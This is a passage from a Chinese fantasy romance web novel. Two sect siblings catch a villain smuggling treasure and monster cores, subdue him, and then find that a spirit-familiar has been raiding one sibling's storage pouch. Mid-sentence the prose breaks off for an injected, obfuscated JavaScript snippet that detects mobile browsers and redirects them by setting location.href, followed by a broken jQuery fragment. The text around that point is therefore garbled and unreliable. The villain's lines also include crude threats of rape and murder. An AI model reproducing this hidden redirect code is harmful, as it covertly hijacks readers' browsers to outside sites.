事不宜迟,沈岁晚当即和谢霜序前往情人湖。
元夏透露过一点,情人湖可能会有他们想要的线索。
等到了情人湖,天色已经彻底陷入浓黑,夜风袭袭,显得特别寂静。
除了,湖边一颗巨大榕树后,热闹的不像话,远远就能听见窸窣的声音。
为了不被发现,沈岁晚搭着谢霜序的手臂,准备躲在榕树不远处的小斜坡上。
斜坡上有许多杂草,正好可以掩盖他们的身体。
沈岁晚拨开面前的杂草,朝榕树那望去。
只见水面波光粼粼,一群黑衣蒙面的人从水里冒出往岸上不断搬运出一箱又一箱东西,摞在地上有小山一般高,有些箱子因为不堪重负崩开,落了一地的金银珠宝。
箱子旁站着一个身形魁梧的人,沈岁晚盯着这人的背影总感觉熟悉,这个她眼熟的人抄起一块金条,粗鲁咬在嘴里,然后重重一脚把刚搬运完的人踹下湖。
湖面逐渐陷于平静,岸上插着一根火把,火光很弱,沈岁晚紧盯着,又发现这人咬着金块,又抓了一把珠宝放到侍从拿出来的空箱子里。
突然,这人敏锐地往沈岁晚躲藏的小山坡看了一眼——
糟了!
这人怎么不按套路出牌?
沈岁晚赶忙低下头,顺便好心地帮旁边的谢霜序盖上了草。
谢霜序委屈地吐出吃进去的杂草,狐狸牙痒痒的想打开兔子的榆木脑袋,看看里面到底装着什么。
一无所知的沈岁晚想偷偷拨开杂草往湖边看看人转头了没,结果就被谢霜序捏着脸颊,贴着耳朵说:
“小心,他还在看这里。”
沈岁晚一听,老老实实的没动,直到谢霜序松开手,告诉她可以后沈岁晚才悄咪咪抬头往湖边看去。
那个身材魁梧的人出现在火光里,脸庞也因此露出来,竟然是王走!
几十箱的金银珠宝,王走大概贪了十几箱,他拍了拍手,将装满的箱子彻底关上,身边还跟着几个侍从,也是先前挑衅沈岁晚的那些人。
“妈的,这几天什么晦气事都赶上了,前几天那婊子还有之前那娘们都tm是这样,就tm应该把她们全都轮过一遍,扔到暗牢里弄死!”
王走啐了一口。
跟在他旁边的侍从谄媚拍马屁:“大人这么高大威猛,谁敢惹您呐,我听说那天袭击你的妓女已经死了,昨天上午刚下葬呢。”
“tm就是婊子,出来卖还要装清高,老子真后悔没把她砸成肉泥!”王走想到这,下半身又幻疼起来,啐了一口唾沫。
他眼珠一转,不怀好意:“你说她刚埋进土,在哪?敢得罪老子,老子要让她也不安宁。”
妓女?还是昨天早上下葬的,这说的不会是元夏吧?!
元夏的死难道和他有关?!
沈岁晚震惊,没想到因此踩到脚下的树枝,“吱嘎”的声音在寂静的环境中非常明显。
“谁?!”王走疑忌地朝这边走来。
他脸上浮起一个森寒的狞笑,从背后抓起那把狼牙棰,找到沈岁晚藏身之处猛地砸了下去——
地面被砸出了个大坑,但什么也没有,仿佛刚才是他听错了一般。
王走怀疑地扫看四周,挠了挠头,一转身——
沈岁晚从天而降,嘴里还热血地喊着:“狗砸!吃我一招!”
“嗬嗬——”
王走被沈岁晚用双腿夹着脖子,眼球充血地突出,被突如其来的袭击创得眼冒金星。
他看清了沈岁晚的脸,“妈的…又是你……”,眼里喷出怒火,猛地扔下狼牙棰,抓住沈岁晚的腿要把她摔到地上。
沈岁晚反应很快,抓住王走的脑袋狠狠往右一扭,同时大腿用力死死绞杀他的颈部。
王走先是被弄得失去平衡跌倒在地上,然后又被绞得窒息,根本呼吸不过来。
“该死!你们人呢!”王走喘着粗气,怒斥。
他说的是跟着的几个小喽喽。
“哼,你的侍从呀,早就被我师弟收拾干净了。”沈岁晚最后用力一拧,把人弄得口吐白沫,彻底放弃抵抗。
她拿着用异能变出的绳子把王走的双手双脚绑住,防止他挣扎。
再次庆幸她觉醒了一个好异能。
沈岁晚看向从湖岸边含笑走来的谢霜序,抬了抬下颚,神情娇纵。
“我说了吧,处理一个小炮灰还是信手拈来的。”
谢霜序失笑,哄着她:“嗯,师姐很厉害。”
被扔在地上的王走这才发现他的侍从都被这个黑衣少年弄晕了,“妈的,一群废物。”他低声咒骂。
原本只要把这些金银珠宝带到赵府,就算只拿剩下的几箱珠宝,他就能腰缠万贯了,可现在,全tm被毁了!
不仅如此,王走一想到任务失败家主的惩罚,残暴的脸上罕见的浮现恐惧。
沈岁晚摸了摸这些私运的箱子,用红木制成,外面雕刻着繁复的祥纹,是典型的皇室用品。
她嗅了嗅手指,潮湿的水汽味、木头的沉向味,以及焦湿的腐臭味。
那种味道她闻过,就在不久之前在比武大会上杀死的魔兽血味。
这些走私的箱子里不止装着金银珠宝!
沈岁晚猛地将箱子掀开,一旁的谢霜序也站在箱子后面,盯着这堆黑色晶体,神色不明。
一打开箱子,只见满宝箱的黑色晶体,随之而来的扑面而来的腐臭,沈岁晚被熏得眼圈发红,赶紧捂住鼻子。
她的掌心被塞了个香囊,驱散了腐臭味,沈岁晚眨了眨眼,是玉兰香,和师弟身上的味道一样。
都是香香的。
她摇了摇头,把脑子里的lsp画面抖出去,他可是你师弟,不能馋人家身子啊!
谢霜序看着她小鹿乱撞的样子,露出一个计谋得逞的狐狸坏笑。
他注意到沈岁晚要动手拿手晶体,眉头一皱,似是不经意的搂过沈岁晚,先一步捡起了晶体。
沈岁晚没注意到他的动作,全身心都放在了观察这颗晶体上。
她用手撑着脑袋,一副沉思的模样。
一样的形状、一样的气息……这东西,不就是她砍死那三只魔兽后,从它们的脑袋里取得的东西吗?!
好啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305423|167000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她就说哪来的既视感呢。
对了,这东西是不是叫魔核来着。
她记得之前把拿到魔核都放进储物袋里去了。
沈岁晚找到储物袋,一打开——
……???
里面什么都没有,没有魔核,没有晶体,甚至连为律给她的灵石都只剩下一颗了?!
她本来就没带多少钱,现在好了,连身上的灵石都没了。
沈岁晚咬牙切齿,发誓要将那小偷打得落花流水。
“小师弟,我们完了,你师姐现在身上一分钱没有。”沈岁晚气愤地把储物袋丢给谢霜序。
抱着胸,一副要咬人的样子。
“怎么了?”谢霜序接过储物袋,语气平淡。
“有个不知道哪里的小偷把我里面的东西全拿了!”
谢霜序看了一眼袋子,挑了挑眉,戏谑道:“师姐,你说的小偷可能出现了。”
什么?!
沈岁晚从谢霜序手里接过储物袋,定睛一看——
一只乳白色的小触手凭空出现,触丝抓住那仅剩的灵石往空中拖去——
看这熟稔的手法,一看就是惯犯了!
沈岁晚气得咬牙,催动异能抓住那根触手,只见那根触手像是触电了一般,疯狂抖动。
“啊——好疼,呜呜呜。”
同时,她的脑海深处,也就是意识海,窝在莲花上的小萝莉委屈的甩了甩手指,倒在莲花上打滚。
沈岁晚:……?她没听错吧,这小偷不会就是她的精神力吧?!
是的,就是这小萝莉干的哦。
*
经过一段漫长而又曲折的解释,沈岁晚终于肯放过小萝莉。
谢霜序则是看着凭空出现的小女孩微微一笑,神色不明,他状似无意道:“师姐,这小女孩谁家的?”
他没有对小萝莉的来历发问,因为不在意,师姐有很多秘密也没关系,这是师姐的权利。
但,如果这小萝莉是师姐和哪个男人的孩子……
谢霜序一想到师姐会对别的男人产生感情,就嫉妒得要疯了。
沈岁晚反射性地回答,嘴比脑子跑得快:“我家的。”
说完,她马上反应过来,结果越解释越不清:“她是我的…不是……总之她不是我的孩子!”
小萝莉眨眨眼,火上浇油:“她是我的主人!”
“诶,你别哭啊,小师弟!”
沈岁晚目睹谢霜序红了眼睛,看起来难过得要死,她手忙脚乱的拿出帕子去擦他的眼睛。
谢霜序弯了弯腰好让沈岁晚舒服些,他蹭了蹭那张手帕,眼泪反而越流越多,到最后他整个身体都“柔弱”的倒在沈岁晚的怀里。
“师姐,她说的是真的吗?”他可怜兮兮的。
沈岁晚还蒙在鼓里,单纯的以为谢霜序是真的难过了,安慰似的拍拍他,到最后整个身子被对方搂进怀里都不知道。
小萝莉目睹了谢霜序犯案的全过程,惊掉下巴,嘴巴震惊的成了o形。
不愧是千年的老狐狸,这家伙可真能装啊,她的主人完全不是对手啊。